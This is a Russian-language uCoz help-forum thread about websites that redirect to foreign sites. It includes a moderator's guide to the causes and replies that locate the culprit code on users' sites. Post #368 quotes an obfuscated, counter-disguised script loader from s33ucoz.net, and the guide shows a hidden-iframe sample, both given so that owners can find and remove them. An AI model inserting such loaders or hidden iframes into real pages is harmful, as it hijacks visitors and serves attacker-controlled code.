Модератор форума: Yuri_G  
При заходе на сайт перекидывает на другой
Модератор форума
Сообщение # 1 | 22:42:16
Описание проблемы:

При попытке зайти на свой сайт вас прекидывает на совершенно чужой сайт. Это может происходить сразу, через какой-то промежуток времени или вместо вашей страницы вы видите чужую с чужим адресом


Причины возникновения:

1) Сторонние скрипты вставленные на сайт с подгрузкой с чужих адресов. И iframe вставки
Если вы ставите к себе на сайт скрипт подобного вида
Code
<script type="text/javascript" src="http://levyisite.ru/nazvanie.js"></script>

где levyisite.ru адрес не вашего сайта, а чужого, то вы всегда должны быть готовы к тому, что содержимое подгружаемого скрипта может изменится. Если скрипт работает в нормальном режиме сначала, то при изменении или удалении содержимого на сервере где он храниться, скрипт или перестанет работать или будет иметь уже другие функции, иногда вредоносные
Если вы решили установить к себе на сайт скрипт, но ничего в скриптах не понимаете, перед установкой вы можете обратиться в эту тему //forum.ucoz.ru/forum/45-35735-1 и проверить его на безопасность

2) Сторонние скрипты вшитые в элементы дизайна или шаблонов найденные в открытом доступе
Если вы все время находитесь в состоянии поиска новых украшений для своего сайта, таких как готовых блоков, информеров, измененных дизайнов мини-чатов, опросов, форм входа, вида материалов, блоков статистики на форум или сайт и так далее, то при копировании готового кода на сайтах, где это все раздают, проверяйте код на наличие сторонних скриптов (тип скрипта описан в пункте1) и iframe вставок. Если вы видите в коде конструкцию наподобии этой
Code
<iframe src="http://levyisite.ru" width="1" height="1"></iframe>

Где levyisite.ru - это адрес чужого сайта
а
Code
width="1" height="1"
может иметь значения 0
Code
width="0" height="0"
что означает фоновую (скрытую)подгрузку, то это на 100% агрессивный вредоносный код
Если вы вообще не разбираетесь в HTML и не понимаете что копируете, то перед установкой очередного украшения на сайт вы можете проверить полученный код для вставки в этой теме //forum.ucoz.ru/forum/45-35735-1 на наличие вредоносных объектов

3) Рипы шаблонов и готовые шаблоны найденные в открытом доступе. В готовых шаблонах могут быть вшиты скрипты и iframe вставки, а так же рекламные блоки и спам скрытый посредством кода от вывода на экран. Вшитые скрипты и вставки могут быть с пустым содержимым и при запуске шаблона они могут не проявлять никаких признаков. Но подгруженные с чужих сайтов, содержимое может быть изменено, после чего может начаться вредоносная активность

4) Перехват домена. На сайтах с прикрепленным доменом, особенно у тех кто не имеет доступа к управлению доменом, сторонними лицами могут быть изменены настройки домена. Эффект может заключаться в том, что при переходе на свой сайт вы можете увидеть там совсем другой или будет происходить редирект на другой адрес


Если вы вообще ничего не поняли, но проблема переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает, а так же указать происходит это под логином или под гостем
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 361 | 14:36:41
Alex-white, я сказала открыть главную на редактирование. читайте что я пишу
пу- редактор страниц - управление страницами сайта - главная страница - напротив главной жмем на разводной ключ - открываем на редактирование и ищем скрипт

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Alex-white
Сообщений: 5
Репутация: 2

Сообщение # 362 | 14:43:18
Сделал всё как вы написали но скрипта этого я не нашёл, его там нету.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 363 | 14:45:36
Alex-white, в виде материалов он

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Alex-white
Сообщений: 5
Репутация: 2

Сообщение # 364 | 14:47:43
Нашёл его в "Виды материала" Новостей сайта. Теперь всё работает, спасибо за помощь и быстрый ответ)
millern
Сообщений: 3
Репутация: 0

Сообщение # 365 | 06:16:59
Здравствуйте, при попытке войти на школьный сайт http://abanschool3.ucoz.ru/ со вчерашнего дня перекидывает на http://ww6.js.s33ucoz.net/ Как исправить, подскажите , пожалуйста... Очень будем благодарны всей школой)))
Астра
Сообщений: 847
Репутация: 260

Сообщение # 366 | 07:29:15
millern, эмн, вы понимаете смысл вот этого барахла, прописанного у вас в <head>, причем раз 10-20
Код
<script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/document_iterator.js">
<script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/find_proxy.js">
<script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/get_html_text.js">
<script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/global_constants.js">
<script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/name_injection_builder.js">
<script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/number_injection_builder.js">
<script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/string_finder.js">
<script src="chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl/change_sink.js">
<meta name="document_iterator.js">
<meta name="find_proxy.js">
<meta name="get_html_text.js">
<meta name="global_constants.js">
<meta name="name_injection_builder.js">
<meta name="number_injection_builder.js">
<meta name="string_finder.js">
<meta name="change_sink.js">

Для начала уберите его, а там будем дальше разбираться. Если переброска останется, заходите в ПУ - шаблоны - Страницы сайта или Верхний контейнер и отыскивайте скрипты
millern
Сообщений: 3
Репутация: 0

Сообщение # 367 | 10:05:39
Конечно не понимаю, sad где искать <head>? Путь напишите, пожалуйста, я удалю...

Добавлено (15 Май 2013, 10:05:39)
---------------------------------------------
Это могло возникнуть при правке через Chrom через визульный редактор? вроде я убрала.... Как искать скрипты, отвечающие за переход?

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 368 | 11:19:04
millern, вот проблемные скрипты, которые вас перекидывают

Код
<!--uCoz counter-->
<script type="text/javascript">document.write("<scr"+"ipt type=\"text/java"+"script\" src=\"http://s"+"33u"+"co"+"z."+"net/hit"+".js\"><"+"/s"+"cript>");</script>
<!--/uCoz--><script type="text/javascript" src="http://s33ucoz.net/src/jquery-mini-1.3.6.js" ></script>


находятся в блоке с меню сайта.

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
millern
Сообщений: 3
Репутация: 0

Сообщение # 369 | 11:49:14
ой, спасибо вам большое! вроде сделала....... спасли честь школы, можно сказать smile а как защититься от подобного встраивания в будущем?
kain2749
Сообщений: 2
Репутация: 0

Сообщение # 370 | 17:21:00
Здравствуйте!
При входе на сайт nhutorsch.ucoz..ru перебрасывает на сайт с адресом http://okdaje.com/?fp=2jh....F537.31

Помогите выяснить и устранить причину.
С уважением, Андрей
bandjuk
Сообщений: 6816
Репутация: 2398
Уровень замечаний:

Сообщение # 371 | 17:32:16
kain2749, удалить блок "Праздники сегодня"
или скрипт в нём:
Код
<script language='JavaScript' src='http://www.estpovod.ru/informer_show2.php?news_cnt=4&inf_width=100%&bg=D7DB24&csp=1&cpd=4&fsz=16&bg1=FF8000&fcl1=D7DB24&fsz1=16&bg2=FFE9D0&fcl=BD000D&fsz2=16&wt=&show_dat=&wt1=&grp=0&new='></script>
kain2749
Сообщений: 2
Репутация: 0

Сообщение # 372 | 17:38:24
Так я на него не могу зайти, как же мне его удалить?((
bandjuk
Сообщений: 6816
Репутация: 2398
Уровень замечаний:

Сообщение # 373 | 17:45:18
kain2749, а ПУ зачем?
http://nhutorsch.ucoz.ru/panel
Extremator_xp
Сообщений: 1
Репутация: 0

Сообщение # 374 | 02:23:09
при переходе на мойсайт profmetall-nakhodka.com или profmetall.ukoz.com закидывает совсем на другую страницу, причем по прямой ссылке на одну из страниц
зайти можно помогите решить проблему
Тайлер8595
Сообщений: 1
Репутация: 0

Сообщение # 375 | 02:32:22
удалено. сайт не относится к системе uCoz

webanet
Сообщение отредактировал webanet - Пятница, 24 Май 2013, 12:38:29
Поиск: